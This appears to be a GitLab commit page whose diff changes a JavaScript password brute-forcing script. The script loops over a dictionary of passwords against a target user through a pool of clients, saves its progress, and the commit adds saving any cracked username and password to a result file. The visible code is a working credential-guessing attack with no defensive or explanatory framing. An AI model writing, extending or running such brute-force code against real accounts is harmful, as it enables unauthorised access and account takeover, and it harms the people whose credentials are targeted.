Commit 564408f1 authored by nanahira's avatar nanahira

write result to file

parent 0bb2f7bd
Pipeline #2131 passed with stages
in 50 seconds
......@@ -40,11 +40,12 @@ async function runOnce() {
try {
for (let i = lastSequence; i < dict.length; ++i) {
const password = dict[i];
await fs.writeFile("./data/last.json", JSON.stringify({ lastSequence: i }));
await fs.writeFile("./data/last.json", JSON.stringify({ lastSequence: i }, null, 2));
const mc = await pool.pickOne();
console.log(`Trying password ${password}`);
if (await tryPassword(mc, password)) {
console.log(`Success. Username: ${targetUser} Password: ${password}`);
await fs.writeFile("./data/result.json", JSON.stringify({ username: targetUser, password: password }, null, 2));
break;
}
}
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment